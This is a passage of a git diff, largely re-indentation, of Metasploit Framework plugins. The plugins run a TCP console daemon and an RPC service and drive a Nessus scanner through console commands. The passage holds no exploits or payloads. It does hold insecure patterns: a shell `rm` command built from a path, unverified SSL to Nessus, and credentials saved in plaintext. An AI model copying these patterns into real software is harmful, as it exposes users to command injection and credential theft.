dispatcher was added, then it should be removed in the cleanup routine. + # + def cleanup + # If we had previously registered a console dispatcher with the console, + # deregister it now. + remove_console_dispatcher('Lab') + end + + # + # This method returns a short, friendly name for the plugin. + # + def name + "lab" + end + + # + # This method returns a brief description of the plugin. It should be no + # more than 60 characters, but there are no hard limits. + # + def desc + "Adds the ability to manage VMs" + end end ## End Class end ## End Module diff --git a/plugins/msfd.rb b/plugins/msfd.rb index 98b13ce1c5..3f7e27f4fd 100644 --- a/plugins/msfd.rb +++ b/plugins/msfd.rb @@ -20,144 +20,144 @@ module Msf ### class Plugin::Msfd < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" - # - # The default local port that the server listens on. - # - DefaultPort = 55554 + # + # The default local port that the server listens on. + # + DefaultPort = 55554 - # - # Initializes the msfd plugin. The following options are supported in the - # hash by this plugin: - # - # ServerHost - # - # The local hostname to listen on for connections. The default is - # 127.0.0.1. - # - # ServerPort - # - # The local port to listen on for connections. The default is 55554. - # - # SSL - # - # Use SSL - # - # RunInForeground - # - # Instructs the plugin to now execute the daemon in a worker thread and to - # instead allow the caller to manage executing the daemon through the - # ``run'' method. - # - # HostsAllowed - # - # List of hosts (in NBO) allowed to use msfd - # - # HostsDenied - # - # List of hosts (in NBO) not allowed to use msfd - # - def initialize(framework, opts) - super + # + # Initializes the msfd plugin. The following options are supported in the + # hash by this plugin: + # + # ServerHost + # + # The local hostname to listen on for connections. The default is + # 127.0.0.1. + # + # ServerPort + # + # The local port to listen on for connections. The default is 55554. + # + # SSL + # + # Use SSL + # + # RunInForeground + # + # Instructs the plugin to now execute the daemon in a worker thread and to + # instead allow the caller to manage executing the daemon through the + # ``run'' method. + # + # HostsAllowed + # + # List of hosts (in NBO) allowed to use msfd + # + # HostsDenied + # + # List of hosts (in NBO) not allowed to use msfd + # + def initialize(framework, opts) + super - # Start listening for connections. - self.server = Rex::Socket::TcpServer.create( - 'LocalHost' => opts['ServerHost'] || DefaultHost, - 'LocalPort' => opts['ServerPort'] || DefaultPort, - 'SSL' => opts['SSL']) + # Start listening for connections. + self.server = Rex::Socket::TcpServer.create( + 'LocalHost' => opts['ServerHost'] || DefaultHost, + 'LocalPort' => opts['ServerPort'] || DefaultPort, + 'SSL' => opts['SSL']) - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - Thread.new { - run(opts) - } - end - end + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + Thread.new { + run(opts) + } + end + end - # - # Returns 'msfd' - # - def name - "msfd" - end + # + # Returns 'msfd' + # + def name + "msfd" + end - # - # Returns the msfd plugin description. - # - def desc - "Provides a console interface to users over a listening TCP port." - end + # + # Returns the msfd plugin description. + # + def desc + "Provides a console interface to users over a listening TCP port." + end - # - # Runs the msfd plugin by blocking on new connections and then spawning - # threads to handle the console interface for each client. - # - def run(opts={}) - while true - client = server.accept + # + # Runs the msfd plugin by blocking on new connections and then spawning + # threads to handle the console interface for each client. + # + def run(opts={}) + while true + client = server.accept - addr = Rex::Socket.resolv_nbo(client.peerhost) + addr = Rex::Socket.resolv_nbo(client.peerhost) - if opts['HostsAllowed'] and - not opts['HostsAllowed'].find { |x| x == addr } - client.close - next - end + if opts['HostsAllowed'] and + not opts['HostsAllowed'].find { |x| x == addr } + client.close + next + end - if opts['HostsDenied'] and - opts['HostsDenied'].find { |x| x == addr } - client.close - next - end - msg = "Msfd: New connection from #{client.peerhost}" - ilog(msg, 'core') - print_status(msg) + if opts['HostsDenied'] and + opts['HostsDenied'].find { |x| x == addr } + client.close + next + end + msg = "Msfd: New connection from #{client.peerhost}" + ilog(msg, 'core') + print_status(msg) - # Spawn a thread for the client connection - Thread.new(client) { |cli| - begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - 'Framework' => framework, - 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), - 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), - 'AllowCommandPassthru' => false).run - rescue - elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') - ensure - msg = "Msfd: Closing client connection with #{cli.peerhost}" - ilog(msg, 'core') - print_status(msg) - begin - cli.shutdown - cli.close - rescue IOError - end - end - } - end - end + # Spawn a thread for the client connection + Thread.new(client) { |cli| + begin + Msf::Ui::Console::Driver.new( + Msf::Ui::Console::Driver::DefaultPrompt, + Msf::Ui::Console::Driver::DefaultPromptChar, + 'Framework' => framework, + 'LocalInput' => Rex::Ui::Text::Input::Socket.new(cli), + 'LocalOutput' => Rex::Ui::Text::Output::Socket.new(cli), + 'AllowCommandPassthru' => false).run + rescue + elog("Msfd: Client error: #{$!}\n\n#{$@.join("\n")}", 'core') + ensure + msg = "Msfd: Closing client connection with #{cli.peerhost}" + ilog(msg, 'core') + print_status(msg) + begin + cli.shutdown + cli.close + rescue IOError + end + end + } + end + end - # - # Closes the listener service. - # - def cleanup - ilog("Msfd: Shutting down server", 'core') - self.server.close - end + # + # Closes the listener service. + # + def cleanup + ilog("Msfd: Shutting down server", 'core') + self.server.close + end protected - # - # The listening socket instance. - # - attr_accessor :server + # + # The listening socket instance. + # + attr_accessor :server end diff --git a/plugins/msgrpc.rb b/plugins/msgrpc.rb index df98617f8c..432854cda0 100644 --- a/plugins/msgrpc.rb +++ b/plugins/msgrpc.rb @@ -23,103 +23,103 @@ module Msf ### class Plugin::MSGRPC < Msf::Plugin - # - # The default local hostname that the server listens on. - # - DefaultHost = "127.0.0.1" + # + # The default local hostname that the server listens on. + # + DefaultHost = "127.0.0.1" - # - # The default local port that the server listens on. - # - DefaultPort = 55552 + # + # The default local port that the server listens on. + # + DefaultPort = 55552 - # - # ServerPort - # - # The local port to listen on for connections. The default is 55553 - # - def initialize(framework, opts) - super + # + # ServerPort + # + # The local port to listen on for connections. The default is 55553 + # + def initialize(framework, opts) + super - host = opts['ServerHost'] || DefaultHost - port = opts['ServerPort'] || DefaultPort - ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false - cert = opts['SSLCert'] + host = opts['ServerHost'] || DefaultHost + port = opts['ServerPort'] || DefaultPort + ssl = (opts['SSL'] and opts['SSL'].to_s =~ /^[ty]/i) ? true : false + cert = opts['SSLCert'] - user = opts['User'] || "msf" - pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) - uri = opts['URI'] || "/api" + user = opts['User'] || "msf" + pass = opts['Pass'] || ::Rex::Text.rand_text_alphanumeric(8) + uri = opts['URI'] || "/api" - print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") - print_status("MSGRPC Username: #{user}") - print_status("MSGRPC Password: #{pass}") + print_status("MSGRPC Service: #{host}:#{port} #{ssl ? " (SSL)" : ""}") + print_status("MSGRPC Username: #{user}") + print_status("MSGRPC Password: #{pass}") - self.server = ::Msf::RPC::Service.new(framework, { - :host => host, - :port => port, - :ssl => ssl, - :cert => cert, - :uri => uri, - :tokens => { } - }) + self.server = ::Msf::RPC::Service.new(framework, { + :host => host, + :port => port, + :ssl => ssl, + :cert => cert, + :uri => uri, + :tokens => { } + }) - self.server.add_user(user, pass) + self.server.add_user(user, pass) - # If the run in foreground flag is not specified, then go ahead and fire - # it off in a worker thread. - if (opts['RunInForeground'] != true) - # Store a handle to the thread so we can kill it during - # cleanup when we get unloaded. - self.thread = Thread.new { run } - framework.threads.register(self.thread, "MetasploitRPCServer", true) - end - end + # If the run in foreground flag is not specified, then go ahead and fire + # it off in a worker thread. + if (opts['RunInForeground'] != true) + # Store a handle to the thread so we can kill it during + # cleanup when we get unloaded. + self.thread = Thread.new { run } + framework.threads.register(self.thread, "MetasploitRPCServer", true) + end + end - # - # Returns 'msgrpc' - # - def name - "msgrpc" - end + # + # Returns 'msgrpc' + # + def name + "msgrpc" + end - # - # Returns the plugin description. - # - def desc - "Provides a MessagePack interface over HTTP" - end + # + # Returns the plugin description. + # + def desc + "Provides a MessagePack interface over HTTP" + end - # - # The meat of the plugin, sets up handlers for requests - # - def run - # Start the actual service - self.server.start + # + # The meat of the plugin, sets up handlers for requests + # + def run + # Start the actual service + self.server.start - # Register - framework.threads.register(Thread.current, "MetasploitRPCServer", true) + # Register + framework.threads.register(Thread.current, "MetasploitRPCServer", true) - # Wait for the service to complete - self.server.wait - end + # Wait for the service to complete + self.server.wait + end - # - # Closes the listener service. - # - def cleanup - self.server.stop if self.server - self.thread.kill if self.thread - self.server = nil - super - end + # + # Closes the listener service. + # + def cleanup + self.server.stop if self.server + self.thread.kill if self.thread + self.server = nil + super + end - # - # The MSGRPC instance. - # - attr_accessor :server - attr_accessor :thread - attr_accessor :users - attr_accessor :tokens + # + # The MSGRPC instance. + # + attr_accessor :server + attr_accessor :thread + attr_accessor :users + attr_accessor :tokens end diff --git a/plugins/nessus.rb b/plugins/nessus.rb index a0144d1aef..fceab3f44f 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -5,1679 +5,1679 @@ require 'nessus/nessus-xmlrpc' require 'rex/parser/nessus_xml' module Msf - class Plugin::Nessus < Msf::Plugin - - #creates the index of exploit details to make searching for exploits much faster. - def create_xindex - start = Time.now - print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") - count = 0 - # use Msf::Config.get_config_root as the location. - File.open("#{@xindex}", "w+") do |f| - #need to add version line. - f.puts(Msf::Framework::RepoRevision) - framework.exploits.sort.each { |refname, mod| - stuff = "" - o = nil - begin - o = mod.new - rescue ::Exception - end - stuff << "#{refname}|#{o.name}|#{o.platform_to_s}|#{o.arch_to_s}" - next if not o - o.references.map do |x| - if !(x.ctx_id == "URL") - if (x.ctx_id == "MSB") - stuff << "|#{x.ctx_val}" - else - stuff << "|#{x.ctx_id}-#{x.ctx_val}" - end - end - end - stuff << "\n" - f.puts(stuff) - } - end - total = Time.now - start - print_status("It has taken : #{total} seconds to build the exploits search index") - end - - def nessus_index - if File.exist?("#{@xindex}") - #check if it's version line matches current version. - File.open("#{@xindex}") {|f| - line = f.readline - line.chomp! - if line.to_i == Msf::Framework::RepoRevision - print_good("Exploit Index - (#{@xindex}) - is valid.") - else - create_xindex - end - } - else - create_xindex - end - end - - class ConsoleCommandDispatcher - include Msf::Ui::Console::CommandDispatcher - - def name - "Nessus" - end - - def commands - { - "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port <ssl ok>.", - "nessus_admin" => "Checks if user is an admin.", - "nessus_help" => "Get help on all commands.", - "nessus_logout" => "Terminate the session.", - "nessus_server_status" => "Check the status of your Nessus Server.", - "nessus_server_feed" => "Nessus Feed Type.", - "nessus_server_prefs" => "Display Server Prefs.", - "nessus_report_list" => "List all Nessus reports.", - "nessus_report_get" => "Import a report from the nessus server in Nessus v2 format.", - "nessus_report_del" => "Delete a report.", - "nessus_report_vulns" => "Get list of vulns from a report.", - "nessus_report_hosts" => "Get list of hosts from a report.", - "nessus_report_host_ports" => "Get list of open ports from a host from a report.", - "nessus_report_host_detail" => "Detail from a report item on a host.", - "nessus_scan_status" => "List all currently running Nessus scans.", - "nessus_scan_new" => "Create new Nessus Scan.", - "nessus_scan_pause" => "Pause a Nessus Scan.", - "nessus_scan_pause_all" => "Pause all Nessus Scans.", - "nessus_scan_stop" => "Stop a Nessus Scan.", - "nessus_scan_stop_all" => "Stop all Nessus Scans.", - "nessus_scan_resume" => "Resume a Nessus Scan.", - "nessus_scan_resume_all" => "Resume all Nessus Scans.", - "nessus_user_list" => "Show Nessus Users.", - "nessus_user_add" => "Add a new Nessus User.", - "nessus_user_del" => "Delete a Nessus User.", - "nessus_user_passwd" => "Change Nessus Users Password.", - "nessus_plugin_family" => "List plugins in a family.", - "nessus_plugin_details" => "List details of a particular plugin.", - "nessus_plugin_list" => "Displays each plugin family and the number of plugins.", - "nessus_plugin_prefs" => "Display Plugin Prefs.", - "nessus_policy_list" => "List all polciies.", - "nessus_policy_del" => "Delete a policy.", - "nessus_index" => "Manually generates a search index for exploits.", - "nessus_template_list" => "List all the templates on the server.", - "nessus_db_scan" => "Create a scan of all ips in db_hosts.", - "nessus_save" => "Save username/passowrd/server/port details." - } - end - - def cmd_nessus_index - Msf::Plugin::Nessus.nessus_index - end - - def cmd_nessus_save(*args) - #if we are logged in, save session details to nessus.yaml - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_save") - return - end - - if args[0] - print_status("Usage: ") - print_status(" nessus_save") - return - end - - group = "default" - - if ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - config = Hash.new - config = {"#{group}" => {'username' => @user, 'password' => @pass, 'server' => @host, 'port' => @port}} - File.open("#{@nessus_yaml}", "w+") do |f| - f.puts YAML.dump(config) - end - print_good("#{@nessus_yaml} created.") - - else - print_error("Missing username/password/server/port - relogin and then try again.") - return - end - end - - def cmd_nessus_db_scan(*args) - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" Example:> nessus_db_scan 1 \"My Scan\"") - print_status() - print_status("Creates a scan based on all the hosts listed in db_hosts.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 2 - pid = args[0].to_i - name = args[1] - else - print_status("Usage: ") - print_status(" nessus_db_scan <policy id> <scan name>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - tgts = "" - framework.db.hosts(framework.db.workspace).each do |host| - tgts << host.address - tgts << "," - end - - tgts.chop! - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning all hosts in workspace") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - - end - - def cmd_nessus_logout - @token = nil - print_status("Logged out") - system("rm #{@nessus_yaml}") - print_good("#{@nessus_yaml} removed.") - return - end - - def cmd_nessus_help(*args) - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - "Command", - "Help Text" - ], - 'SortIndex' => -1 - ) - tbl << [ "Generic Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_connect", "Connect to a nessus server" ] - tbl << [ "nessus_save", "Save nessus login info between sessions" ] - tbl << [ "nessus_logout", "Logout from the nessus server" ] - tbl << [ "nessus_help", "Listing of available nessus commands" ] - tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] - tbl << [ "nessus_admin", "Checks if user is an admin" ] - tbl << [ "nessus_server_feed", "Nessus Feed Type" ] - tbl << [ "nessus_find_targets", "Try to find vulnerable targets from a report" ] - tbl << [ "nessus_server_prefs", "Display Server Prefs" ] - tbl << [ "", ""] - tbl << [ "Reports Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_report_list", "List all Nessus reports" ] - tbl << [ "nessus_report_get", "Import a report from the nessus server in Nessus v2 format" ] - tbl << [ "nessus_report_vulns", "Get list of vulns from a report" ] - tbl << [ "nessus_report_hosts", "Get list of hosts from a report" ] - tbl << [ "nessus_report_host_ports", "Get list of open ports from a host from a report" ] - tbl << [ "nessus_report_host_detail", "Detail from a report item on a host" ] - tbl << [ "", ""] - tbl << [ "Scan Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_scan_new", "Create new Nessus Scan" ] - tbl << [ "nessus_scan_status", "List all currently running Nessus scans" ] - tbl << [ "nessus_scan_pause", "Pause a Nessus Scan" ] - tbl << [ "nessus_scan_pause_all", "Pause all Nessus Scans" ] - tbl << [ "nessus_scan_stop", "Stop a Nessus Scan" ] - tbl << [ "nessus_scan_stop_all", "Stop all Nessus Scans" ] - tbl << [ "nessus_scan_resume", "Resume a Nessus Scan" ] - tbl << [ "nessus_scan_resume_all", "Resume all Nessus Scans" ] - tbl << [ "", ""] - tbl << [ "Plugin Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_plugin_list", "Displays each plugin family and the number of plugins" ] - tbl << [ "nessus_plugin_family", "List plugins in a family" ] - tbl << [ "nessus_plugin_details", "List details of a particular plugin" ] - tbl << [ "", ""] - tbl << [ "User Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_user_list", "Show Nessus Users" ] - tbl << [ "nessus_user_add", "Add a new Nessus User" ] - tbl << [ "nessus_user_del", "Delete a Nessus User" ] - tbl << [ "nessus_user_passwd", "Change Nessus Users Password" ] - tbl << [ "", ""] - tbl << [ "Policy Commands", "" ] - tbl << [ "-----------------", "-----------------"] - tbl << [ "nessus_policy_list", "List all polciies" ] - tbl << [ "nessus_policy_del", "Delete a policy" ] - print_status "" - print_line tbl.to_s - print_status "" - end - - def cmd_nessus_server_feed(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_feed") - print_status(" Example:> nessus_server_feed") - print_status() - print_status("Returns information about the feed type and server version.") - return - end - - if nessus_verify_token - @feed, @version, @web_version = @n.feed - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Feed', - 'Nessus Version', - 'Nessus Web Version' - ]) - tbl << [@feed, @version, @web_version] - print_good("Nessus Status") - print_good "\n" - print_line tbl.to_s - end - end - - def nessus_verify_token - if @token.nil? or @token == '' - ncusage - return false - end - true - end - - def nessus_verify_db - - if ! (framework.db and framework.db.active) - print_error("No database has been configured, please use db_create/db_connect first") - return false - end - true - end - - def ncusage - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - return - end - - def cmd_nessus_connect(*args) - # Check if config file exists and load it - @nessus_yaml = "#{Msf::Config.get_config_root}/nessus.yaml" - if ! args[0] - if File.exist?("#{@nessus_yaml}") - lconfig = YAML.load_file("#{@nessus_yaml}") - @user = lconfig['default']['username'] - @pass = lconfig['default']['password'] - @host = lconfig['default']['server'] - @port = lconfig['default']['port'] - nessus_login - return - else - ncusage - return - end - end - - if args[0] == "-h" - print_status("%redYou must do this before any other commands.%clr") - print_status("Usage: ") - print_status(" nessus_connect username:password@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf:msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect username@hostname:port <ssl ok>") - print_status(" Example:> nessus_connect msf@192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect hostname:port <ssl ok>") - print_status(" Example:> nessus_connect 192.168.1.10:8834 ok") - print_status(" OR") - print_status(" nessus_connect") - print_status(" Example:> nessus_connect") - print_status("This only works after you have saved creds with nessus_save") - print_status() - print_status("%bldusername%clr and %bldpassword%clr are the ones you use to login to the nessus web front end") - print_status("%bldhostname%clr can be an ip address or a dns name of the web front end.") - print_status("%bldport%clr is the standard that the nessus web front end runs on : 8834. This is NOT 1241.") - print_status("The \"ok\" on the end is important. It is a way of letting you") - print_status("know that nessus used a self signed cert and the risk that presents.") - return - end - - if ! @token == '' - print_error("You are already authenticated. Call nessus_logout before authing again") - return - end - - if(args.length == 0 or args[0].empty?) - ncusage - return - end - - @user = @pass = @host = @port = @sslv = nil - - case args.length - when 1,2 - if args[0].include? "@" - cred,targ = args[0].split('@', 2) - @user,@pass = cred.split(':', 2) - targ ||= '127.0.0.1:8834' - @host,@port = targ.split(':', 2) - @port ||= '8834' - @sslv = args[1] - else - @host,@port = args[0].split(':', 2) - @port ||= '8834' - @sslv = args[1] - end - - when 3,4,5 - ncusage - return - else - ncusage - return - end - - if /\/\//.match(@host) - ncusage - return - end - - if(@host != "localhost" and @host != "127.0.0.1" and @sslv != "ok") - print_error("Warning: SSL connections are not verified in this release, it is possible for an attacker") - print_error(" with the ability to man-in-the-middle the Nessus traffic to capture the Nessus") - print_error(" credentials. If you are running this on a trusted network, please pass in 'ok'") - print_error(" as an additional parameter to this command.") - return - end - - if ! @user - print_error("Missing Username") - ncusage - return - end - - if ! @pass - print_error("Missing Password") - ncusage - return - end - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - ncusage - return - end - nessus_login - end - - def nessus_login - - if ! ((@user and @user.length > 0) and (@host and @host.length > 0) and (@port and @port.length > 0 and @port.to_i > 0) and (@pass and @pass.length > 0)) - print_status("You need to connect to a server first.") - ncusage - return - end - - @url = "https://#{@host}:#{@port}/" - print_status("Connecting to #{@url} as #{@user}") - @n=NessusXMLRPC::NessusXMLRPC.new(@url,@user,@pass) - @token=@n.login(@user,@pass) - if @n.logged_in - print_status("Authenticated") - else - print_error("Error connecting/logging to the server!") - return - end - end - - def cmd_nessus_report_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_list") - print_status(" Example:> nessus_report_list") - print_status() - print_status("Generates a list of all reports visable to your user.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.report_list_hash - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'ID', - 'Name', - 'Status', - 'Date' - ]) - - list.each {|report| - t = Time.at(report['timestamp'].to_i) - tbl << [ report['id'], report['name'], report['status'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus Report List") - print_good "\n" - print_line tbl.to_s + "\n" - print_status("You can:") - print_status(" Get a list of hosts from the report: nessus_report_hosts <report id>") - end - - def check_scan(*args) - - case args.length - when 1 - rid = args[0] - else - print_error("No Report ID Supplied") - return - end - - scans = @n.scan_list_hash - scans.each {|scan| - if scan['id'] == rid - return true - end - } - return false - end - - def cmd_nessus_report_get(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_report_get <report id>") - print_status(" Example:> nessus_report_get f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("This command pulls the provided report from the nessus server in the nessusv2 format") - print_status("and parses it the same way db_import_nessus does. After it is parsed it will be") - print_status("available to commands such as db_hosts, db_vulns, db_services and db_autopwn.") - print_status("Use: nessus_report_list to obtain a list of report id's") - return - end - - if ! nessus_verify_token - return - end - - if ! nessus_verify_db - return - end - - if(args.length == 0 or args[0].empty? or args[0] == "-h") - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - rid = nil - - case args.length - when 1 - rid = args[0] - else - print_status("Usage: ") - print_status(" nessus_report_get <report id> ") - print_status(" use nessus_report_list to list all available reports for importing") - return - end - - if check_scan(rid) - print_error("That scan is still running.") - return - end - content = nil - content=@n.report_file_download(rid) - if content.nil? - print_error("Failed, please reauthenticate") - return - end - print_status("importing " + rid) - framework.db.import({:data => content}) do |type,data| - case type - when :address - print_line("%bld%blu[*]%clr %bld#{data}%clr") - end - end - print_good("Done") - end - - def cmd_nessus_scan_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_status") - print_status(" Example:> nessus_scan_status") - print_status() - print_status("Returns a list of information about currently running scans.") - return - end - - if ! nessus_verify_token - return - end - - list=@n.scan_list_hash - if list.empty? - print_status("No Scans Running.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a scan: nessus_scan_new <policy id> <scan name> <target(s)>") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Scan ID', - 'Name', - 'Owner', - 'Started', - 'Status', - 'Current Hosts', - 'Total Hosts' - ]) - - list.each {|scan| - t = Time.at(scan['start'].to_i) - tbl << [ scan['id'], scan['name'], scan['owner'], t.strftime("%H:%M %b %d %Y"), scan['status'], scan['current'], scan['total'] ] - } - print_good("Running Scans") - print_good "\n" - print_line tbl.to_s - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - print_good(" Pause a nessus scan : nessus_scan_pause <scanid>") - end - - def cmd_nessus_template_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_template_list") - print_status(" Example:> nessus_template_list") - print_status() - print_status("Returns a list of information about the server templates..") - return - end - - if ! nessus_verify_token - return - end - - list=@n.template_list_hash - - if list.empty? - print_status("No Templates Created.") - print_status("You can:") - print_status(" List of completed scans: nessus_report_list") - print_status(" Create a template: nessus_template_new <policy id> <scan name> <target(s)>") - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Template ID', - 'Policy ID', - 'Name', - 'Owner', - 'Target' - ]) - - list.each {|template| - tbl << [ template['name'], template['pid'], template['rname'], template['owner'], template['target'] ] - } - print_good("Templates") - print_good "\n" - print_line tbl.to_s + "\n" - print_good "\n" - print_status("You can:") - print_good(" Import Nessus report to database : nessus_report_get <reportid>") - end - - def cmd_nessus_user_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_user_list") - print_status(" Example:> nessus_user_list") - print_status() - print_status("Returns a list of the users on the Nessus server and their access level.") - return - end - - if ! nessus_verify_token - return - end - - if ! @n.is_admin - print_status("Your Nessus user is not an admin") - end - - list=@n.users_list - print_good("There are #{list.length} users") - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Name', - 'Is Admin?', - 'Last Login' - ]) - - list.each {|user| - t = Time.at(user['lastlogin'].to_i) - tbl << [ user['name'], user['admin'], t.strftime("%H:%M %b %d %Y") ] - } - print_good("Nessus users") - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_server_status(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_server_status") - print_status(" Example:> nessus_server_status") - print_status() - print_status("Returns some status items for the server..") - return - end - #Auth - if ! nessus_verify_token - return - end - - #Check if we are an admin - if ! @n.is_admin - print_status("You need to be an admin for this.") - return - end - - #Versions - cmd_nessus_server_feed - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Users', - 'Policies', - 'Running Scans', - 'Reports', - 'Plugins' - ]) - #Count how many users the server has. - list=@n.users_list - users = list.length - - #Count how many policies - list=@n.policy_list_hash - policies = list.length - - #Count how many running scans - list=@n.scan_list_uids - scans = list.length - - #Count how many reports are available - list=@n.report_list_hash - reports = list.length - - #Count how many plugins - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - } - plugins = total.sum - tbl << [users, policies, scans, reports, plugins] - print_good "\n" - print_line tbl.to_s - end - - def cmd_nessus_plugin_list(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_plugin_list") - print_status(" Example:> nessus_plugin_list") - print_status() - print_status("Returns a list of the plugins on the server per family.") - return - end - - if ! nessus_verify_token - return - end - - tbl = Rex::Ui::Text::Table.new( - 'Columns' => [ - 'Family Name', - 'Total Plugins' - ]) - list=@n.plugins_list - total = Array.new - list.each {|plugin| - total.push(plugin['num'].to_i) - tbl << [ plugin['name'], plugin['num'] ] - } - plugins = total.sum - tbl << [ '', ''] - tbl << [ 'Total Plugins', plugins ] - print_good("Plugins By Family") - print_good "\n" - print_line tbl.to_s - print_status("List plugins for a family : nessus_plugin_family <family name>") - end - - def check_policy(*args) - - case args.length - when 1 - pid = args[0] - else - print_error("No Policy ID supplied.") - return - end - - pol = @n.policy_list_hash - pol.each {|p| - if p['id'].to_i == pid - return false - end - } - return true - end - - def cmd_nessus_scan_new(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" Example:> nessus_scan_new 1 \"My Scan\" 192.168.1.250") - print_status() - print_status("Creates a scan based on a policy id and targets.") - print_status("use nessus_policy_list to list all available policies") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 3 - pid = args[0].to_i - name = args[1] - tgts = args[2] - else - print_status("Usage: ") - print_status(" nessus_scan_new <policy id> <scan name> <targets>") - print_status(" use nessus_policy_list to list all available policies") - return - end - - if check_policy(pid) - print_error("That policy does not exist.") - return - end - - print_status("Creating scan from policy number #{pid}, called \"#{name}\" and scanning #{tgts}") - - scan = @n.scan_new(pid, name, tgts) - - if scan - print_status("Scan started. uid is #{scan}") - end - end - - def cmd_nessus_scan_pause(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" Example:> nessus_scan_pause f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("Pauses a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_pause <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - pause = @n.scan_pause(sid) - - print_status("#{sid} has been paused") - end - - def cmd_nessus_scan_resume(*args) - - if args[0] == "-h" - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" Example:> nessus_scan_resume f0eabba3-4065-7d54-5763-f191e98eb0f7f9f33db7e75a06ca") - print_status() - print_status("resumes a running scan") - print_status("use nessus_scan_status to list all available scans") - return - end - - if ! nessus_verify_token - return - end - - case args.length - when 1 - sid = args[0] - else - print_status("Usage: ") - print_status(" nessus_scan_resume <scan id>") - print_status(" use nessus_scan_status to list all available scans") - return - end - - resume = @n.scan_resume(sid) - - print_status("#{sid} has been resumed") - end - - def 